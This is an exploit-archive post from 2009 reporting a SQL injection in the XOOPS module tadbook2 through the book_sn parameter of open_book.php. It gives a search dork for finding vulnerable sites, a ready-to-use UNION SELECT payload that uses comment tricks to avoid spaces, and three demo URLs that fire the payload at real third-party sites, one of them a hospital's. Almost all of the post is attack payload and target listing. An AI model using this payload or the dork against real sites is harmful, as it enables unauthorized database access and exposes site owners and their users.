[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : XOOPS Module tadbook2 (open_book.php book_sn) SQL Injection Vuln
# Published : 2009-01-11
# Author : stylextra
# Previous Title : phpMDJ <= 1.0.3 (id_animateur) Blind SQL Injection Exploit
# Next Title : BKWorks ProPHP 0.50b1 (Auth Bypass) SQL Injection Vulnerability
##########################################
#
# XOOPS Module: tadbook2
#
#
##########################################
#
##AUTHOR : Stylextra
#
####HOME : http://www.zamet.org
#
####MAIL : Slawi-team@hotmail.fr
#
###########################################
#
# DORKS : dork: /modules/tadbook2/open_book.php?book_sn=
###########################################
target: scriptpage.com/modules/tadbook2/open_book.php?book_sn=[sql Code]
Sql code: -99/**/union/**/select/**/version(),2/*
live link: http://xxx.com/modules/tadbook2/open_book.php?book_sn=-99/**/union/**/select/**/version(),2/*
demo1 : http://pr.hosp.ncku.edu.tw/modules/tadbook2/open_book.php?book_sn=-5/**/union/**/select/**/version(),2/*
demo2 : http://www.off.tw/modules/tadbook2/open_book.php?book_sn=-1/**/union/**/select/**/version(),2/*
demo3 : http://www.taot.org.tw/modules/tadbook2/open_book.php?book_sn=-10/**/union/**/select/**/version(),2/*
# www.Syue.com [2009-01-11]